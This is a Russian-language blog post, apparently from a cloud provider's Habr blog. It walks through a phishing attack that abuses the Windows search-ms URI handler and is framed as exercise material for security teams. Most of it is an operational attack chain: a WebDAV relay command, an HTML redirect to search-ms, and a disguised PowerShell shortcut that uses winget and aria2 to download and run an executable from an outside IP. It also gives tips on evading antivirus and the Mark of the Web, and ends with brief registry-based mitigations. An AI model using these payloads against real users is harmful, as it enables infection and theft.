Pull to refresh
213.85
Serverspace
IT-инфраструктура | Удвоение платежа по коду HABR

Заражение по фэншую или разбор атаки через уязвимости Windows

Level of difficultyMedium
Reading time8 min
Views4.9K

image


Хабр, уже по сложившейся традиции сегодня мы разберем одну из интересных APT-атак на пользователей, в которой используется не стандартный способ доставки, маскировки, а также заражения системы с обходом EPP и EDR! Данный материал будет полезен сотрудникам SOC, TI-экспертам, Pentest и Threat Hunting — специалистам. 


Дисклеймер! Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.


Шаг 0. Концепция атаки


Классически доставка первого этапа осуществляется обыденными способами: почта, мессенджеры, брошенные флешки и т.д. Передаваемых через них файлы давно под подозрением и СЗИ (средства защиты информации) обычно блокируют их, используя статический и динамический анализы. Однако данная атака завязана на особенности работы проводника Windows, а точнее эксплуатации сервиса ms-search, которого можно заставить искать вредоносные файлы на стороннем сервере.


Ожидаемое поведение от ms-search, при поиске .exe файлов:


image


Обращение к сервису с использованием строки аргументов:


search-ms:displayname=Search Results in Data (D:)&crumb=fileextension:~<.exe OR System.Generic.String:.exe&crumb=location:D:\


Сервису search-ms переданы аргументы для поиска файлов, которые подробно рассмотрим ниже:


  • displayname отобразит любой текст в строке для уведомления пользователя о локации поиска;
  • аргумент crumb позволит определить фильтры и место поиска;
  • query, также может быть использован для фильтрации данных.

Зловредное обращение выглядит следующим образом:


search-ms:query=.exe&crumb=location:\\95.173.18.16\DavWWWRoot\&displayname=Update


image


Используя параметр query, фильтруются файлы по маске .exe, а параметр crumb через UNC — пути определяет доступ до сервера, на котором уже и хранится вредоносное ПО. Microsoft частично позаботились о безопасности таких файлов и на каждый материал, полученный из сети ставит метку в альтернативном потоке данных MOTW, который считывается, при открытии и отображается в виде предупреждения.


image


Однако данный механизм все равно сложен и подозрителен для конечного пользователя, минимально подготовленный сотрудник уже в курсе, что он вряд ли найдет в файле формата .exe, что полезное для себя. Усовершенствовав данных механизм, получилась следующая схема атаки на пользователя в рамках учений, данный материал также может использоваться в рамках “Антифишинг учений”.


image


Для доставки вредоносного запроса ms-search используются URL-схемы, замаскировав их под кнопку на сайте или иной элемент. Схема позволяет обратиться к стороннему серверу, где уже подготовлен вредонос заражения — первого этапа. Не приметный файл формата “pdf” запускается пользователем, под видом загруженного и реализует скачивание второго этапа с основным ядром вредоноса. После чего система заражена, рассмотрим это на практике.


Шаг 1. Этап доставки


На данном этапе собираются файлы доставки и поднимается инфраструктура, в которой будет находиться пользователь в момент заражения. Так же необходимо учесть особенности работы информационно вычислительной сети и СЗИ, которые могут детектировать вредоносную активность. 


Relay-сервер


Для реализации доставки необходимо поднять сервер, к которому будет происходить обращение от клиента и поиск вредоносного файла на нем. Требованиями к данному этапу являются:


  • отсутствие аутентификации с целью упрощения пути заражения; 
  • ограничения доступа на редактирование другими лицами;
  • близко доступность сервиса до клиента.

Последний пункт обусловлен недостатком данного метода доставки, так как для работы поднимается служба со стороны клиента и только затем обращается к серверу, направляя запросы Propfind, Get. Все это может занять время от 10 до 15 секунд, в то время как у клиента это будет выглядеть, будто зависшее приложение. В качестве ПО возьмем WsgiDav-сервер написанный на Python и поднимем командой:


wsgidav --host 0.0.0.0 --port 80 --root /tmp/Minfin --auth anonymous


image


Укажем доступность сервера с любого интерфейса, стандартный порт 80 и корневую папку, в которой будет храниться вредонос первого этапа, а также параметр анонимной аутентификации. По умолчанию, корневая папка редактируется, однако, данный пункт можно изменить в конфигурации сервера. Перейдем к URL и рассмотрим способы доставки.


Запакованный URL


Для доставки зараженной ссылки пользователю, обычно используют письма с замаскированными элементами. К примеру, не навязчивое письмо с возможностью индексации ЗП сотрудника, с кнопкой содержащей ссылку снизу.


image


Однако обратите внимание, что URL-схемы есть у браузера, а не у почты поэтому возможность обратиться через письмо напрямую не получится, для этого необходимо также поднять веб-сервер. На которой уже произойдет редирект по схеме. 


Необходимо также выбрать корректный тег для HTML, ведь большинство почтовых клиентов научились детектировать фишинговые письма. Submit и кнопки по действию JS не подойдут, так как помечаются вредоносными или сам язык JS не поддерживается почтой. В таком случае привычный button Данный файл может иметь следующий примерный вид:


<html lang="en"><head><meta charset="UTF-8"/><meta http-equiv="refresh" content="2; url=search-ms:query=.lnk&amp;crumb=location:\\93.183.72.112\DavWWWRoot\&amp;displayname=Update"/<title>Redirecting...</title></html>


Далее пользователю предложат открыть проводник и продолжить работу в нем.


image


После чего произойдет обращение к WebDav серверу и откроется отфильтрованное содержимое корневой папки ресурса обращения.


Шаг 2. Этап заражения 


Классические варианты тайпсквотинга, управляющих символов давно уже никого не удивят, а EPP и EDR решения запросто распознают популярные паттерны по Yara-правилам или динамическому анализу. Соответственно, необходимо использовать иное решение, которое не вызовет подозрений у пользователя. 


Так как к серверу мы подключаемся через клиент — проводник, то и отображение элементов происходит по правилам файла desktop.ini. Это значит, что в данном случае возможно использование токсичных ярлыков с открытием PowerShell. 


Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься интерпретатор. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а замаскироваться и загрузить второй с дальнейшим запуском, то необходимо маскировать обращение к северу. Для этого создадим обычный ярлык с путем к PS.


image


Выберем подходящую иконку для маскировки.


image


После необходимо начинить его логикой, де факто сейчас есть доступ к оболочке, а соответственно и возможность управления устройством относительно прав клиента, на котором запущено приложение. Обычно это пользователи без прав, но и этого вполне достаточно, чтобы открывать соединения и проводить изменения на устройстве. При составлении логики стоит исходить из:


  • Ограничений строки по символам;
  • Отказ от системных папок требующий права админа, а также утилит;
  • Малого размера файла эксплойта;
  • Маскировка под легитимный процесс;
  • Скрытие окон.

Если выбрать стандартную утилиту или объект для работы, Network object, Invoke Request, Bit-Transfer, то по поведенческому анализу сразу блокируется соединение и файл отправляется в карантин.


image


Соответственно необходимо использовать встроенные утилиты, которые будут на большинстве устройств, чтобы замаскироваться под легитимные процессы. К примеру, отлично подойдет winget — пакетный менеджер, который устанавливает сетевые соединения и скачивает необходимое ПО. 


Без прав администратора не получится указать новый ресурс и напрямую скачать вредоносный пакет, поэтому необходимо найти утилиту, которая будет устанавливаться и работать без прав администратора. А также функционально предназначенная на скачивание по протоколам HTTP. Одной из таких оказалась aria2 утилита с открытым исходным кодом, которая позволит загрузить вредонос. 


Составим логику работы первого эксплойта:


Установка утилиты -> Обновление переменных сред -> Скачивание вредоноса -> Запуск второго этапа заражения


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe winget install aria2.aria2 -h;.(echo $PSHOME'\powershell.exe')'aria2c http://93.183.72.112/assets/120.exe';.\120.exe


Главная особенность строк кода заключалась в вызове чистой оболочки скрипта для обновления переменных сред, так как обратиться к утилите без этого сложно. Достаточно веская причина не использовать абсолютный путь — это ограничение по символам в строке пути ярлыка.


Логика работы реализована просто, без масок в названии файлов или каких либо альтернативных способов скрыться от сигнатурного, либо поведенческого анализа, так как используемые утилиты легитимны в системе. 


image


Проверим файл на сработки антивируса и заметим, что всего 4 сработки! А если использовать домен вместо Ip-адреса и протокол https вместо http, то возможно их станет еще меньше.


image


Осталось добавить любой бинарный файл или инструкции на сервер по адресу http://93.183.72.112/assets/ с названием 120.exe, а также вредонос первого этапа. В данном решении сохраняется MOTW метка и пользователь будет предупрежден о файле. Для того чтобы ее не было можно использовать любой файл, который не поддерживает MOTW и уже в него имплементировать код. Или можно использовать ПО, которые не распространяют MotW, как некоторые движки программирования вроде Java, Python, Ruby, а так же непосредственно Microsoft's Visual Studio.


image


Но еще и файлы формата iso и vhd вообще их не поддерживают, так как метка ставится в файловой системе альтернативным потоком. А данное решение формата файла iso или vhd может содержать любую другую файловую систему, которая смонтируется в ОС. 


Шаг 3. Меры предотвращения атаки для сотрудников ИБ


Данная атака представляет собой линейный сценарий реализации, поэтому для нейтрализации вектора достаточно меры запрета открытия ms-search протокола через браузер, путём удаления ключей реестра. В Windows ключи HKEY_CLASSES_ROOT используются для хранения ассоциаций файловых типов и протоколов с приложениями. 


Именно среди них необходимо найти ассоциации с ms-search и search. Удаление ключей реестра, связанных с этими протоколами, приводит к тому, что операционная система и приложения больше не смогут использовать их для выполнения соответствующих действий. Это эффективно блокирует доступ к этим протоколам, предотвращая их использование, например, веб-браузерами. Выполните команды для предотвращения атаки:


reg delete HKEY_CLASSES_ROOT\search /f; reg delete HKEY_CLASSES_ROOT\search-ms /f


Особое внимание в данной цепочке стоит уделить URL схемам, так как ассоциаций протоколов и приложений большое множество.


image


Вполне возможен и иной вектор атаки через вредоносную ссылку в браузере по отношению к системному ПО, в том числе и офисным приложениям. По умолчанию, доступен даже Excel, поэтому чисто теоретически возможен запуск файла Excel просто по нажатию ссылки.


ms-excel:ofv|u|http://10.0.0.3/Book1.xlsx


Или подобный описанному ранее вектор, но уже с использованием SFTP протокола для передачи.


image


Вопрос безопасности URL-схем остается открытым, так как это явный вектор атаки с достаточно коротким путем для нарушителя в систему. Для нейтрализации подобного можно использовать, как радикальные меры — удаления ассоциаций протоколов, так и внедрения правил на SIEM, EPP, EDR, SOAR детекции и реагирования обращений к реестру важных ключей. 


К сожалению, вендоры не всегда торопятся исправлять уязвимости системы, поэтому достаточно важно проводить собственные research и анализ защищенности инфраструктуры, а также не забывать про Vulnerability Management.


Статья поддерживается командой Serverspace.

Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.

IT-инфраструктура | Кешбэк 17% по коду HABR

Tags:
Hubs:
Total votes 6: ↑6 and ↓0+8
Comments5

Articles

Information

Website
serverspace.ru
Registered
Founded
Employees
201–500 employees
Location
Россия
Representative
Danial Fedorov